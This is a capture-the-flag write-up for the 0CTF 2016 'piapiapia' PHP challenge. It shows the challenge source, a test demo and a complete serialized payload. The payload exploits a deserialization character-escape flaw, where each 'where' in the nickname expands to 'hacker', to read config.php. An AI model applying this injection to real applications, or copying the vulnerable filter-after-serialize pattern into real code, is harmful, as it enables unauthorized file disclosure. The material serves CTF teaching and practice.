[0CTF 2016]piapiapia BUUCTF detailed writeup

Keywords: PHP CTF

Basic knowledge

Escape principle of php anti sequence words

Problem solving ideas

payload

/www.zip

The source code is leaked and can be downloaded directly

config.php

​​

Open config.php and you can see that the flag may be stored here

Visit / register.php, register an account casually, log in and find that you have jumped to update.php

​​

update.php

//update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile .php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

You can see that the update.php page filters the phone, emil, nicknam, photo and other parameters passed in through post. The mobile phone number and email should conform to the normal format, and the value of nickname can only be in a-zA-Z0-9 and a-z0-9_ And the length cannot be greater than 10. Here, you can bypass it by putting the data into the array when posting data

Several parameters that meet the filtering conditions are passed in and put into $profile [], and then $profile is serialized and passed into update_ In the profile () function, the function code is as follows. In the function, filter() is performed on username and the serialized $profile passed in

update_profile()

//class.php
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

fileter()

//class.php
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

You can see that the filter replaces the incoming violation keywords' select ',' Insert ',' Update ',' Delete 'and' where 'with a hacker. You can easily find that the length of the hacker is 6, and only the length of where in the violation keywords is 5. Other lengths are the same as that of the hacker, that is, except for the where keyword, the length of other keywords will not change after replacement. Here we can use the basic knowledge mentioned above php deserialization character escape vulnerability Loophole

As long as we input a reasonable number of where in the nickname parameter, after serialization and then filtered by filter(), the original photo content can overflow and escape and become the payload content (config.php) we constructed

Write a small demo to test according to the general logic of the website

demo

//test.html
<html>
<head></head>
<body></body>
<form action="test.php" method="post" enctype="multipart/form-data" class="well"> 
    <h3>Please Update Your Profile</h3>
    <label>Phone:</label>
    <input type="text" name="phone" style="height:30px"class="span3"/>
    <label>Email:</label>
    <input type="text" name="email" style="height:30px"class="span3"/>
    <label>Nickname:</label>
    <input type="text" name="nickname" style="height:30px" class="span3">
    <label for="file">Photo:</label>
    <input type="file" name="photo" style="height:30px"class="span3"/>
    <button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</html>
//test.php
<?php
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
    die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
function filter($string) 
{
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
#print_r($profile);
echo '<br>';
echo '<br>';
$test1 = serialize($profile);
$test1 = filter($test1);
echo $test1;
$test = unserialize($test1);
echo '<br>';
echo '<br>';
print_r($test);
echo '<br>';
echo '<br>';
print_r($test['phone']);
echo '<br>';
echo '<br>';
print_r($test['email']);
echo '<br>';
echo '<br>';
print_r($test['nickname']);
echo '<br>';
echo '<br>';
print_r($test['photo']);
echo '<br>';
echo '<br>';

?>

Then, in the demo, we first pass in the data normally and see the output results after serialization

Now let's grab the package and modify the name of nickname, and splice ";} s:5:"photo";s:10:"config.php ";} into the content of nickname. The reason here is that the flag can be found in config.php

Before modification

 

After modification

 

You can see that the length of the characters on the back splicing and the length of the original five 1s add up to a total of 39. At this time, you also know that every time you write a where in the content of nickname, the back end will replace the where with hack, so the length 5 becomes 6. The following equation is listed. Let the number of where be x, then if you want the content to escape, you should meet 39+5x=6x+5

You can get that x is 34, that is, you need to add 34 where in the content of nickname. The experiment is carried out below

You can see that photo was successfully replaced with config.php

Send the spliced payload below

a:4:{s:5:"phone";s:11:"15103114513";s:5:"email";s:16:"165789634@qq.com";s:8:"nickname";a:1:{i:0;s:209:"11111hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";}

  The last part of the content successfully escaped because of the principle of serialization. Let's try it at the shooting range

";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";}

  BUU range operation

Enter basic information

  Grab bag

 

Modify nickname splice payload

 

 

decode

  Successful problem solving

 

 

 

 

 

 

Posted by atl_andy on Wed, 13 Oct 2021 10:59:25 -0700